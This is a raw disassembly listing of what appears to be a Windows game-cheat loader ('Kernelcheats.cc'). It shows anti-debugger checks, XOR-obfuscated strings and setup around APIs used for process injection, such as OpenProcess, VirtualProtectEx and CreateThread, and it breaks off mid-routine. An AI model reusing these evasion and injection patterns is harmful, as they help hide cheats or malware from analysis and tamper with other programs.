mov ecx, dword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
mov edx, 0xffffffff
lea rcx, [rsp + 0x1f00]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.140021bc8
call fcn.140021af4
test eax, eax
je 0x140045b71
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140045b8a
mov dword [rsp + 0x1e0], 1
jmp 0x140045b95
mov dword [rsp + 0x1e0], 0
cmp dword [rsp + 0x1e0], 0
je 0x140045ba5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
call fcn.140021b20
test eax, eax
je 0x140045bb4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
call fcn.140021c54
test eax, eax
je 0x140045bc3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
call fcn.140020b48
call fcn.140020acc
call fcn.140020ba8
movzx eax, al
test eax, eax
jne 0x140052770
call fcn.140020be4
movzx eax, al
test eax, eax
jne 0x140052770
call fcn.140020c10
movzx eax, al
test eax, eax
jne 0x140052770
mov ecx, 1
call fcn.140083420
mov qword [rsp + 0x408], rax
cmp qword [rsp + 0x408], 0
je 0x140045c2c
mov rax, qword [rsp + 0x408]
mov qword [rsp + 0x410], rax
jmp 0x140045c38
mov qword [rsp + 0x410], 0
mov rax, qword [rsp + 0x410]
mov qword [0x140101430], rax
mov ecx, 0x30
call fcn.140083420
mov qword [rsp + 0x208], rax
cmp qword [rsp + 0x208], 0
je 0x140045cab
mov rdi, qword [rsp + 0x208]
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x208]
mov rcx, rax
call fcn.140052b4c
mov rax, qword [rsp + 0x208]
add rax, 0x18
mov rcx, rax
call fcn.140052b4c
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x418], rax
jmp 0x140045cb7
mov qword [rsp + 0x418], 0
mov rax, qword [rsp + 0x418]
mov qword [0x140101438], rax
mov rcx, qword [0x140101438]
call fcn.140023774
lea rax, [rsp + 0x11d8]
mov qword [rsp + 0x518], rax
mov edx, 0x4c3a7
mov rcx, qword [rsp + 0x518]
call fcn.14003ffc0
mov qword [rsp + 0x520], rax
mov rax, qword [rsp + 0x520]
mov qword [rsp + 0x20], rax
mov r9b, 1
xor r8d, r8d
mov rdx, qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [0x140101438]
call fcn.14002377c
lea rax, [rsp + 0x1438]
mov qword [rsp + 0x528], rax
mov edx, 0x4c3a7
mov rcx, qword [rsp + 0x528]
call fcn.14003ffc0
mov qword [rsp + 0x530], rax
mov rax, qword [rsp + 0x530]
mov qword [rsp + 0x20], rax
mov r9b, 1
xor r8d, r8d
mov rdx, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov rcx, qword [0x140101438]
call fcn.14002377c
lea rax, [rsp + 0x1198]
mov qword [rsp + 0x538], rax
mov edx, 0x4c3a7
mov rcx, qword [rsp + 0x538]
call fcn.14003ffc0
mov qword [rsp + 0x540], rax
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x20], rax
mov r9b, 1
xor r8d, r8d
lea rdx, [main]
mov rcx, qword [0x140101438]
call fcn.14002377c
lea rax, [rsp + 0x1178]
mov qword [rsp + 0x548], rax
mov edx, 0x4c3a7
mov rcx, qword [rsp + 0x548]
call fcn.14003ffc0
mov qword [rsp + 0x550], rax
mov rax, qword [rsp + 0x550]
mov qword [rsp + 0x20], rax
mov r9b, 1
xor r8d, r8d
mov rdx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, qword [0x140101438]
call fcn.14002377c
lea rax, [rsp + 0x1158]
mov qword [rsp + 0x558], rax
mov edx, 0x4c3a7
mov rcx, qword [rsp + 0x558]
call fcn.14003ffc0
mov qword [rsp + 0x560], rax
mov rax, qword [rsp + 0x560]
mov qword [rsp + 0x20], rax
mov r9b, 1
xor r8d, r8d
mov rdx, qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, qword [0x140101438]
call fcn.14002377c
lea rax, [rsp + 0x1138]
mov qword [rsp + 0x568], rax
mov edx, 0x4c3a7
mov rcx, qword [rsp + 0x568]
call fcn.14003ffc0
mov qword [rsp + 0x570], rax
mov rax, qword [rsp + 0x570]
mov qword [rsp + 0x20], rax
mov r9b, 1
xor r8d, r8d
mov rdx, qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, qword [0x140101438]
call fcn.14002377c
lea rax, [rsp + 0x1118]
mov qword [rsp + 0x578], rax
mov edx, 0x4c3a7
mov rcx, qword [rsp + 0x578]
call fcn.14003ffc0
mov qword [rsp + 0x580], rax
mov rax, qword [rsp + 0x580]
mov qword [rsp + 0x20], rax
mov r9b, 1
xor r8d, r8d
mov rdx, qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [0x140101438]
call fcn.14002377c
lea rax, [rsp + 0x10f8]
mov qword [rsp + 0x588], rax
mov edx, 0x4c3a7
mov rcx, qword [rsp + 0x588]
call fcn.14003ffc0
mov qword [rsp + 0x590], rax
mov rax, qword [rsp + 0x590]
mov qword [rsp + 0x20], rax
mov r9b, 1
xor r8d, r8d
mov rdx, qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [0x140101438]
call fcn.14002377c
lea rax, [rsp + 0x10d8]
mov qword [rsp + 0x598], rax
mov edx, 0x4c3a7
mov rcx, qword [rsp + 0x598]
call fcn.14003ffc0
mov qword [rsp + 0x5a0], rax
mov rax, qword [rsp + 0x5a0]
mov qword [rsp + 0x20], rax
mov r9b, 1
xor r8d, r8d
mov rdx, qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, qword [0x140101438]
call fcn.14002377c
lea rax, [rsp + 0x10b8]
mov qword [rsp + 0x5a8], rax
mov edx, 0x4c3a7
mov rcx, qword [rsp + 0x5a8]
call fcn.14003ffc0
mov qword [rsp + 0x5b0], rax
mov rax, qword [rsp + 0x5b0]
mov qword [rsp + 0x20], rax
mov r9b, 1
xor r8d, r8d
mov rdx, qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, qword [0x140101438]
call fcn.14002377c
lea rax, [rsp + 0x1098]
mov qword [rsp + 0x5b8], rax
mov edx, 0x4c3a7
mov rcx, qword [rsp + 0x5b8]
call fcn.14003ffc0
mov qword [rsp + 0x5c0], rax
mov rax, qword [rsp + 0x5c0]
mov qword [rsp + 0x20], rax
mov r9b, 1
xor r8d, r8d
mov rdx, qword [sym.imp.USER32.dll_FindWindowW]
mov rcx, qword [0x140101438]
call fcn.14002377c
lea rax, [rsp + 0x1078]
mov qword [rsp + 0x5c8], rax
mov edx, 0x4c3a7
mov rcx, qword [rsp + 0x5c8]
call fcn.14003ffc0
mov qword [rsp + 0x5d0], rax
mov rax, qword [rsp + 0x5d0]
mov qword [rsp + 0x20], rax
mov r9b, 1
xor r8d, r8d
mov rdx, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword [0x140101438]
call fcn.14002377c
lea rax, [rsp + 0x1478]
mov qword [rsp + 0x5d8], rax
mov edx, 0x4c3a7
mov rcx, qword [rsp + 0x5d8]
call fcn.14003ffc0
mov qword [rsp + 0x5e0], rax
mov rax, qword [rsp + 0x5e0]
mov qword [rsp + 0x20], rax
mov r9b, 1
xor r8d, r8d
mov rdx, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword [0x140101438]
call fcn.14002377c
lea rax, [rsp + 0x1458]
mov qword [rsp + 0x5e8], rax
mov edx, 0x4c3a7
mov rcx, qword [rsp + 0x5e8]
call fcn.14003ffc0
mov qword [rsp + 0x5f0], rax
mov rax, qword [rsp + 0x5f0]
mov qword [rsp + 0x20], rax
mov r9b, 1
xor r8d, r8d
mov rdx, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, qword [0x140101438]
call fcn.14002377c
lea rax, [rsp + 0x11b8]
mov qword [rsp + 0x5f8], rax
mov edx, 0x4c3a7
mov rcx, qword [rsp + 0x5f8]
call fcn.14003ffc0
mov qword [rsp + 0x600], rax
mov rax, qword [rsp + 0x600]
mov qword [rsp + 0x20], rax
mov r9b, 1
xor r8d, r8d
lea rdx, [0x140005ed0]
mov rcx, qword [0x140101438]
call fcn.14002377c
lea rax, [rsp + 0x1418]
mov qword [rsp + 0x608], rax
mov edx, 0x4c3a7
mov rcx, qword [rsp + 0x608]
call fcn.14003ffc0
mov qword [rsp + 0x610], rax
mov rax, qword [rsp + 0x610]
mov qword [rsp + 0x20], rax
mov r9b, 1
xor r8d, r8d
mov rdx, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [0x140101438]
call fcn.14002377c
lea rax, [rsp + 0x11f8]
mov qword [rsp + 0x618], rax
mov edx, 0x4c3a7
mov rcx, qword [rsp + 0x618]
call fcn.14003ffc0
mov qword [rsp + 0x620], rax
mov rax, qword [rsp + 0x620]
mov qword [rsp + 0x20], rax
mov r9b, 1
xor r8d, r8d
mov rdx, qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [0x140101438]
call fcn.14002377c
lea rax, [rsp + 0x1218]
mov qword [rsp + 0x628], rax
mov edx, 0x4c3a7
mov rcx, qword [rsp + 0x628]
call fcn.14003ffc0
mov qword [rsp + 0x630], rax
mov rax, qword [rsp + 0x630]
mov qword [rsp + 0x20], rax
mov r9b, 1
xor r8d, r8d
mov rdx, qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x140101438]
call fcn.14002377c
mov rcx, qword [0x140101438]
call fcn.140023f1c
lea rax, [0x140026188]
mov qword [rsp + 0x638], rax
mov rax, qword [rsp + 0x638]
mov qword [rsp + 0x640], rax
mov rdx, qword [rsp + 0x640]
lea rcx, [rsp + 0x1000]
call fcn.140063c04
nop
lea rcx, [rsp + 0x1000]
call fcn.140028fb8
lea rax, [0x1400261cc]
mov qword [rsp + 0x648], rax
mov rax, qword [rsp + 0x648]
mov qword [rsp + 0x650], rax
mov rdx, qword [rsp + 0x650]
lea rcx, [rsp + 0xff0]
call fcn.140063c04
nop
lea rcx, [rsp + 0xff0]
call fcn.140028fb8
lea rax, [0x140024198]
mov qword [rsp + 0x658], rax
mov rax, qword [rsp + 0x658]
mov qword [rsp + 0x660], rax
mov rdx, qword [rsp + 0x660]
lea rcx, [rsp + 0xfe0]
call fcn.140063c04
nop
lea rcx, [rsp + 0xfe0]
call fcn.140028fb8
lea rax, [0x1400273d4]
mov qword [rsp + 0x668], rax
mov rax, qword [rsp + 0x668]
mov qword [rsp + 0x670], rax
mov rdx, qword [rsp + 0x670]
lea rcx, [rsp + 0xfd0]
call fcn.140063c04
nop
lea rcx, [rsp + 0xfd0]
call fcn.140028fb8
lea rax, [0x140028150]
mov qword [rsp + 0x678], rax
mov rax, qword [rsp + 0x678]
mov qword [rsp + 0x680], rax
mov rdx, qword [rsp + 0x680]
lea rcx, [rsp + 0xf90]
call fcn.140063c04
nop
lea rcx, [rsp + 0xf90]
call fcn.140028fb8
lea rax, [0x14002876c]
mov qword [rsp + 0x688], rax
mov rax, qword [rsp + 0x688]
mov qword [rsp + 0x690], rax
mov rdx, qword [rsp + 0x690]
lea rcx, [rsp + 0xfc0]
call fcn.140063c04
nop
lea rcx, [rsp + 0xfc0]
call fcn.140028fb8
lea rax, [0x140026730]
mov qword [rsp + 0x698], rax
mov rax, qword [rsp + 0x698]
mov qword [rsp + 0x6a0], rax
mov rdx, qword [rsp + 0x6a0]
lea rcx, [rsp + 0xfb0]
call fcn.140063c04
nop
lea rcx, [rsp + 0xfb0]
call fcn.140028fb8
mov byte [rsp + 0x1528], 0x74
movsx eax, byte [rsp + 0x1528]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.color_f
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1529], al
movsx eax, byte [rsp + 0x1528]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.color_f
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x152a], al
movsx eax, byte [rsp + 0x1528]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.color_f
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x152b], al
movsx eax, byte [rsp + 0x1528]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.color_f
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x152c], al
movsx eax, byte [rsp + 0x1528]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.color_f
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x152d], al
movsx eax, byte [rsp + 0x1528]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.color_f
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x152e], al
movsx eax, byte [rsp + 0x1528]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.color_f
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x152f], al
lea rax, [rsp + 0x1530]
lea rax, [rsp + 0x1530]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x210], 0
jmp 0x1400465a2
mov rax, qword [rsp + 0x210]
inc rax
mov qword [rsp + 0x210], rax
cmp qword [rsp + 0x210], 7
jae 0x14004660c
mov rax, qword [rsp + 0x210]
lea rax, [rsp + rax + 0x1529]
mov qword [rsp + 0x6a8], rax
mov rax, qword [rsp + 0x6a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1528]
xor eax, ecx
mov byte [rsp + 0xd1], al
mov rax, qword [rsp + 0x210]
lea rax, [rsp + rax + 0x1529]
mov qword [rsp + 0x6b0], rax
mov rax, qword [rsp + 0x6b0]
mov cl, byte [rsp + 0xd1]
mov byte [rax], cl
jmp 0x14004658f
mov eax, 7
imul rax, rax, 1
lea rax, [rsp + rax + 0x1529]
mov qword [rsp + 0x6b8], rax
mov rax, qword [rsp + 0x6b8]
mov byte [rax], 0
lea rax, [rsp + 0x1529]
mov qword [rsp + 0x6c0], rax
mov rcx, qword [rsp + 0x6c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x8c], 0xc
movsx eax, byte [rsp + 0x8c]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d391c]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8d], al
movsx eax, byte [rsp + 0x8c]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d391c]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8e], al
lea rax, [rsp + 0x8f]
lea rax, [rsp + 0x8f]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x218], 0
jmp 0x1400466e1
mov rax, qword [rsp + 0x218]
inc rax
mov qword [rsp + 0x218], rax
cmp qword [rsp + 0x218], 2
jae 0x14004674b
mov rax, qword [rsp + 0x218]
lea rax, [rsp + rax + 0x8d]
mov qword [rsp + 0x6c8], rax
mov rax, qword [rsp + 0x6c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8c]
xor eax, ecx
mov byte [rsp + 0xd2], al
mov rax, qword [rsp + 0x218]
lea rax, [rsp + rax + 0x8d]
mov qword [rsp + 0x6d0], rax
mov rax, qword [rsp + 0x6d0]
mov cl, byte [rsp + 0xd2]
mov byte [rax], cl
jmp 0x1400466ce
mov eax, 2
imul rax, rax, 1
lea rax, [rsp + rax + 0x8d]
mov qword [rsp + 0x6d8], rax
mov rax, qword [rsp + 0x6d8]
mov byte [rax], 0
lea rax, [rsp + 0x8d]
mov qword [rsp + 0x6e0], rax
mov rcx, qword [rsp + 0x6e0]
call fcn.140005fa4
mov byte [rsp + 0x15e8], 0x53
movsx eax, byte [rsp + 0x15e8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.__Welcome_to
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15e9], al
movsx eax, byte [rsp + 0x15e8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.__Welcome_to
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15ea], al
movsx eax, byte [rsp + 0x15e8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.__Welcome_to
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15eb], al
movsx eax, byte [rsp + 0x15e8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.__Welcome_to
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15ec], al
movsx eax, byte [rsp + 0x15e8]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.__Welcome_to
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15ed], al
movsx eax, byte [rsp + 0x15e8]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.__Welcome_to
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15ee], al
movsx eax, byte [rsp + 0x15e8]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.__Welcome_to
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15ef], al
movsx eax, byte [rsp + 0x15e8]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.__Welcome_to
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15f0], al
movsx eax, byte [rsp + 0x15e8]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.__Welcome_to
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15f1], al
movsx eax, byte [rsp + 0x15e8]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.__Welcome_to
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15f2], al
movsx eax, byte [rsp + 0x15e8]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.__Welcome_to
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15f3], al
movsx eax, byte [rsp + 0x15e8]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.__Welcome_to
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15f4], al
movsx eax, byte [rsp + 0x15e8]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.__Welcome_to
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15f5], al
lea rax, [rsp + 0x15f6]
lea rax, [rsp + 0x15f6]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x220], 0
jmp 0x1400469cc
mov rax, qword [rsp + 0x220]
inc rax
mov qword [rsp + 0x220], rax
cmp qword [rsp + 0x220], 0xd
jae 0x140046a36
mov rax, qword [rsp + 0x220]
lea rax, [rsp + rax + 0x15e9]
mov qword [rsp + 0x6e8], rax
mov rax, qword [rsp + 0x6e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15e8]
xor eax, ecx
mov byte [rsp + 0xd4], al
mov rax, qword [rsp + 0x220]
lea rax, [rsp + rax + 0x15e9]
mov qword [rsp + 0x6f0], rax
mov rax, qword [rsp + 0x6f0]
mov cl, byte [rsp + 0xd4]
mov byte [rax], cl
jmp 0x1400469b9
mov eax, 0xd
imul rax, rax, 1
lea rax, [rsp + rax + 0x15e9]
mov qword [rsp + 0x6f8], rax
mov rax, qword [rsp + 0x6f8]
mov byte [rax], 0
lea rax, [rsp + 0x15e9]
mov qword [rsp + 0x700], rax
mov rdx, qword [rsp + 0x700]
lea rcx, [rsp + 0x1b90]
call fcn.140004f10
nop
mov edx, 0x14
lea rcx, [rsp + 0x1b90]
call fcn.140029050
nop
lea rcx, [rsp + 0x1b90]
call fcn.140005314
mov cx, 9
call fcn.1400290ec
mov byte [rsp + 0x1618], 0x47
movsx eax, byte [rsp + 0x1618]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Kernelcheats.cc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1619], al
movsx eax, byte [rsp + 0x1618]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Kernelcheats.cc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x161a], al
movsx eax, byte [rsp + 0x1618]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Kernelcheats.cc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x161b], al
movsx eax, byte [rsp + 0x1618]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Kernelcheats.cc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x161c], al
movsx eax, byte [rsp + 0x1618]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Kernelcheats.cc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x161d], al
movsx eax, byte [rsp + 0x1618]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Kernelcheats.cc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x161e], al
movsx eax, byte [rsp + 0x1618]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Kernelcheats.cc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x161f], al
movsx eax, byte [rsp + 0x1618]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Kernelcheats.cc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1620], al
movsx eax, byte [rsp + 0x1618]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Kernelcheats.cc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1621], al
movsx eax, byte [rsp + 0x1618]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Kernelcheats.cc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1622], al
movsx eax, byte [rsp + 0x1618]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Kernelcheats.cc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1623], al
movsx eax, byte [rsp + 0x1618]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Kernelcheats.cc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1624], al
movsx eax, byte [rsp + 0x1618]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Kernelcheats.cc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1625], al
movsx eax, byte [rsp + 0x1618]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Kernelcheats.cc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1626], al
movsx eax, byte [rsp + 0x1618]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Kernelcheats.cc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1627], al
lea rax, [rsp + 0x1628]
lea rax, [rsp + 0x1628]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x228], 0
jmp 0x140046d37
mov rax, qword [rsp + 0x228]
inc rax
mov qword [rsp + 0x228], rax
cmp qword [rsp + 0x228], 0xf
jae 0x140046da1
mov rax, qword [rsp + 0x228]
lea rax, [rsp + rax + 0x1619]
mov qword [rsp + 0x708], rax
mov rax, qword [rsp + 0x708]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1618]
xor eax, ecx
mov byte [rsp + 0xd5], al
mov rax, qword [rsp + 0x228]
lea rax, [rsp + rax + 0x1619]
mov qword [rsp + 0x710], rax
mov rax, qword [rsp + 0x710]
mov cl, byte [rsp + 0xd5]
mov byte [rax], cl
jmp 0x140046d24
mov eax, 0xf
imul rax, rax, 1
lea rax, [rsp + rax + 0x1619]
mov qword [rsp + 0x718], rax
mov rax, qword [rsp + 0x718]
mov byte [rax], 0
lea rax, [rsp + 0x1619]
mov qword [rsp + 0x720], rax
mov rdx, qword [rsp + 0x720]
lea rcx, [rsp + 0x1b70]
call fcn.140004f10
nop
mov edx, 0x14
lea rcx, [rsp + 0x1b70]
call fcn.140029050
nop
lea rcx, [rsp + 0x1b70]
call fcn.140005314
movzx ecx, word [rsp + 0xe4]
call fcn.1400290ec
mov byte [rsp + 0x15c8], 0x21
movsx eax, byte [rsp + 0x15c8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str._loader_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15c9], al
movsx eax, byte [rsp + 0x15c8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str._loader_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15ca], al
movsx eax, byte [rsp + 0x15c8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str._loader_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15cb], al
movsx eax, byte [rsp + 0x15c8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str._loader_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15cc], al
movsx eax, byte [rsp + 0x15c8]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str._loader_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15cd], al
movsx eax, byte [rsp + 0x15c8]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str._loader_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15ce], al
movsx eax, byte [rsp + 0x15c8]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str._loader_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15cf], al
movsx eax, byte [rsp + 0x15c8]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str._loader_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15d0], al
movsx eax, byte [rsp + 0x15c8]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str._loader_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15d1], al
lea rax, [rsp + 0x15d2]
lea rax, [rsp + 0x15d2]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x230], 0
jmp 0x140046fbc
mov rax, qword [rsp + 0x230]
inc rax
mov qword [rsp + 0x230], rax
cmp qword [rsp + 0x230], 9
jae 0x140047026
mov rax, qword [rsp + 0x230]
lea rax, [rsp + rax + 0x15c9]
mov qword [rsp + 0x728], rax
mov rax, qword [rsp + 0x728]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15c8]
xor eax, ecx
mov byte [rsp + 0xd6], al
mov rax, qword [rsp + 0x230]
lea rax, [rsp + rax + 0x15c9]
mov qword [rsp + 0x730], rax
mov rax, qword [rsp + 0x730]
mov cl, byte [rsp + 0xd6]
mov byte [rax], cl
jmp 0x140046fa9
mov eax, 9
imul rax, rax, 1
lea rax, [rsp + rax + 0x15c9]
mov qword [rsp + 0x738], rax
mov rax, qword [rsp + 0x738]
mov byte [rax], 0
lea rax, [rsp + 0x15c9]
mov qword [rsp + 0x740], rax
mov rdx, qword [rsp + 0x740]
lea rcx, [rsp + 0x1b50]
call fcn.140004f10
nop
mov edx, 0x14
lea rcx, [rsp + 0x1b50]
call fcn.140029050
nop
lea rcx, [rsp + 0x1b50]
call fcn.140005314
mov byte [rsp + 0x1708], 0x5e
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1709], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x170a], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x170b], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
